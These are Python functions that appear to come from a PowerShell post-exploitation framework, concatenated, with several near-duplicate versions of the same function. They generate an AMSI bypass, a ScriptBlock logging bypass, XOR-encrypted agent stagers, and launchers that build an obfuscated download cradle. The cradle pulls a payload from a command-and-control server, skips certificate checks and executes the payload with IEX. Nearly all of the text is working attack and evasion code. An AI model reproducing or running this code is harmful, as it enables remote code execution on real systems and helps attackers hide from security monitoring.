def AMSIBypass(): # @mattifestation's AMSI bypass bypass = helpers.randomize_capitalization("$Ref=[Ref].Assembly.GetType(") bypass += "'System.Management.Automation.Amsi'+'Utils'" bypass += helpers.randomize_capitalization(');$Ref.GetField(') bypass += "'amsiInitF'+'ailed','NonPublic,Static'" bypass += helpers.randomize_capitalization(").SetValue($null,$true);") return bypass.replace('\n', '').replace(' ', '')
def generate_stager(self, server, key, encrypt=True, encode=False, obfuscate=False, obfuscationCommand=""): """ Generate the PowerShell stager that will perform key negotiation with the server and kick off the agent. TODO: variable name replacement to change up transport size ... other PowerShell obfuscation techniques? http://desktoplibrary.livelink-experts.com/obfuscate-powershell-user-manual ? """ # read in the stager base f = open(self.installPath + "/data/agent/stager.ps1") stager = f.read() f.close() # make sure the server ends with "/" if not server.endswith("/"): server += "/" # patch the server and key information stager = stager.replace("REPLACE_SERVER", server) stager = stager.replace("REPLACE_STAGING_KEY", key) stager = stager.replace("index.jsp", self.stage1) stager = stager.replace("index.php", self.stage2) randomizedStager = "" for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line if obfuscate: randomizedStager = helpers.obfuscate( randomizedStager, self.installPath, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: # return an encrypted version of the stager ("normal" staging) return encryption.xor_encrypt(randomizedStager, key) else: # otherwise return the case-randomized stager return randomizedStager
def generate_stager(self, server, key, encrypt=True, encode=False): """ Generate the PowerShell stager that will perform key negotiation with the server and kick off the agent. TODO: variable name replacement to change up transport size ... other PowerShell obfuscation techniques? http://desktoplibrary.livelink-experts.com/obfuscate-powershell-user-manual ? """ # read in the stager base f = open(self.installPath + "/data/agent/stager.ps1".replace('/', os.sep)) stager = f.read() f.close() # make sure the server ends with "/" if not server.endswith(os.sep): server += "/" # patch the server and key information stager = stager.replace("REPLACE_SERVER", server) stager = stager.replace("REPLACE_STAGING_KEY", key) stager = stager.replace("index.jsp", self.stage1) stager = stager.replace("index.php", self.stage2) randomizedStager = "" for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: # return an encrypted version of the stager ("normal" staging) return encryption.xor_encrypt(randomizedStager, key) else: # otherwise return the case-randomized stager return randomizedStager
def generate_stager_hop(self, server, key, encrypt=True, encode=False): """ Generate the PowerShell stager for hop.php redirectors that will perform key negotiation with the server and kick off the agent. """ # read in the stager base f = open(self.installPath + "./data/agent/stager_hop.ps1") stager = f.read() f.close() # patch the server and key information stager = stager.replace("REPLACE_SERVER", server) stager = stager.replace("REPLACE_STAGING_KEY", key) hosth = "" if self.headers: for h in self.headers: if 'Host' in h: hosth = h[1] stager = stager.replace("REPLACE_HOST", hosth) stager = stager.replace("index.jsp", self.stage1) stager = stager.replace("index.php", self.stage2) randomizedStager = "" for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: # return an encrypted version of the stager ("normal" staging) return encryption.xor_encrypt(randomizedStager, key) else: # otherwise return the case-randomized stager return randomizedStager
def generate_stager_hop(self, server, key, encrypt=True, encode=True): """ Generate the PowerShell stager for hop.php redirectors that will perform key negotiation with the server and kick off the agent. """ # read in the stager base f = open(self.installPath + "./data/agent/stager_hop.ps1") stager = f.read() f.close() # patch the server and key information stager = stager.replace("REPLACE_SERVER", server) stager = stager.replace("REPLACE_STAGING_KEY", key) stager = stager.replace("index.jsp", self.stage1) stager = stager.replace("index.php", self.stage2) randomizedStager = "" for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: # return an encrypted version of the stager ("normal" staging) return encryption.xor_encrypt(randomizedStager, key) else: # otherwise return the case-randomized stager return randomizedStager
def generate_launcher(self, listenerName, encode=True, userAgent="default", proxy="default", proxyCreds="default", stagerRetries="0"): """ Generate the initial IEX download cradle with a specified c2 server and a valid HTTP checksum. listenerName -> a name of a validly registered listener userAgent -> "default" uses the UA from the default profile in the database "none" sets no user agent any other text is used as the user-agent proxy -> "default" uses the default system proxy "none" sets no proxy any other text is used as the proxy """ # if we don't have a valid listener, return nothing if not self.mainMenu.listeners.is_listener_valid(listenerName): print helpers.color("[!] Invalid listener: " + listenerName) return "" # extract the staging information from this specified listener (server, stagingKey, pivotServer, hop, defaultDelay) = self.mainMenu.listeners.get_stager_config(listenerName) # if UA is 'default', use the UA from the default profile in the database if userAgent.lower() == "default": userAgent = self.userAgent if self.headers: headers = self.headers else: headers = '' # get the launching URI URI = self.generate_launcher_uri(server, encode, pivotServer, hop) stager = helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue = 0;") stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;") stager += "$u='"+userAgent+"';" if "https" in URI: # allow for self-signed certificates for https connections stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if headers: for h in headers: stager += helpers.randomize_capitalization("$wc.Headers.Add('"+h[0]+"','" +h[1]+ "');") if userAgent.lower() != "none" or proxy.lower() != "none": if userAgent.lower() != "none": stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "'User-Agent',$u);" if proxy.lower() != "none": if proxy.lower() == "default": stager += helpers.randomize_capitalization("$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;") else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization("$proxy = new-object net.WebProxy;") stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';") stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: # TODO: implement form for other proxy credentials pass # the stub to decode the encrypted stager download by XOR'ing with the staging key stager += helpers.randomize_capitalization("$K=") stager += "'"+stagingKey+"';" if(stagerRetries == "0"): stager += helpers.randomize_capitalization("$i=0;[char[]]$b=([char[]]($wc.DownloadString(\"") stager += URI stager += helpers.randomize_capitalization("\")))|%{$_-bXor$k[$i++%$k.Length]};IEX ($b-join'')") else: # if there are a stager retries stager += helpers.randomize_capitalization("$R=%s;do{try{$i=0;[cHAR[]]$B=([cHAR[]]($WC.DoWNLOadSTriNg(\"" %(stagerRetries)) stager += URI stager += helpers.randomize_capitalization("\")))|%{$_-bXor$k[$i++%$k.Length]};IEX ($b-join''); $R=0;}catch{sleep "+str(defaultDelay)+";$R--}} while ($R -gt 0)") # base64 encode the stager and return it if encode: return helpers.powershell_launcher(stager) else: # otherwise return the case-randomized stager return stager
def generate_launcher(self, listenerName, encode=True, userAgent="default", proxy="default", proxyCreds="default", stagerRetries="0"): """ Generate the initial IEX download cradle with a specified c2 server and a valid HTTP checksum. listenerName -> a name of a validly registered listener userAgent -> "default" uses the UA from the default profile in the database "none" sets no user agent any other text is used as the user-agent proxy -> "default" uses the default system proxy "none" sets no proxy any other text is used as the proxy """ # if we don't have a valid listener, return nothing if not self.mainMenu.listeners.is_listener_valid(listenerName): print helpers.color("[!] Invalid listener: " + listenerName) return "" # extract the staging information from this specified listener (server, stagingKey, pivotServer, hop, defaultDelay) = self.mainMenu.listeners.get_stager_config(listenerName) # if UA is 'default', use the UA from the default profile in the database if userAgent.lower() == "default": userAgent = self.userAgent # get the launching URI URI = self.generate_launcher_uri(server, encode, pivotServer, hop) stager = helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;") stager += "$u='"+userAgent+"';" if "https" in URI: # allow for self-signed certificates for https connections stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if userAgent.lower() != "none" or proxy.lower() != "none": if userAgent.lower() != "none": stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "'User-Agent',$u);" if proxy.lower() != "none": if proxy.lower() == "default": stager += helpers.randomize_capitalization("$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;") else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization("$proxy = new-object net.WebProxy;") stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';") stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: # TODO: implement form for other proxy credentials pass # the stub to decode the encrypted stager download by XOR'ing with the staging key stager += helpers.randomize_capitalization("$K=") stager += "'"+stagingKey+"';" if(stagerRetries == "0"): stager += helpers.randomize_capitalization("$i=0;[char[]]$b=([char[]]($wc.DownloadString(\"") stager += URI stager += helpers.randomize_capitalization("\")))|%{$_-bXor$k[$i++%$k.Length]};IEX ($b-join'')") else: # if there are a stager retries stager += helpers.randomize_capitalization("$R=%s;do{try{$i=0;[cHAR[]]$B=([cHAR[]]($WC.DoWNLOadSTriNg(\"" %(stagerRetries)) stager += URI stager += helpers.randomize_capitalization("\")))|%{$_-bXor$k[$i++%$k.Length]};IEX ($b-join''); $R=0;}catch{sleep "+str(defaultDelay)+";$R--}} while ($R -gt 0)") # base64 encode the stager and return it if encode: return helpers.powershell_launcher(stager) else: # otherwise return the case-randomized stager return stager
def scriptBlockLogBypass(): # ScriptBlock Logging bypass bypass = helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("GPF") + "=[ref].Assembly.GetType(") bypass += "'System.Management.Automation.Utils'" bypass += helpers.randomize_capitalization(").\"GetFie`ld\"(") bypass += "'cachedGroupPolicySettings','N'+'onPublic,Static'" bypass += helpers.randomize_capitalization( ");If($" + helpers.generate_random_script_var_name("GPF") + "){$" + helpers.generate_random_script_var_name("GPC") + "=$" + helpers.generate_random_script_var_name("GPF") + ".GetValue($null);If($" + helpers.generate_random_script_var_name("GPC") + "") bypass += "['ScriptB'+'lockLogging']" bypass += helpers.randomize_capitalization( "){$" + helpers.generate_random_script_var_name("GPC") + "") bypass += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" bypass += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("GPC") + "") bypass += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" bypass += helpers.randomize_capitalization( "$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add" ) bypass += "('EnableScriptB'+'lockLogging',0);" bypass += helpers.randomize_capitalization("$val.Add") bypass += "('EnableScriptBlockInvocationLogging',0);" bypass += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("GPC") + "") bypass += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']" bypass += helpers.randomize_capitalization("=$val}") bypass += helpers.randomize_capitalization( "Else{[ScriptBlock].\"GetFie`ld\"(") bypass += "'signatures','N'+'onPublic,Static'" bypass += helpers.randomize_capitalization( ").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}") return bypass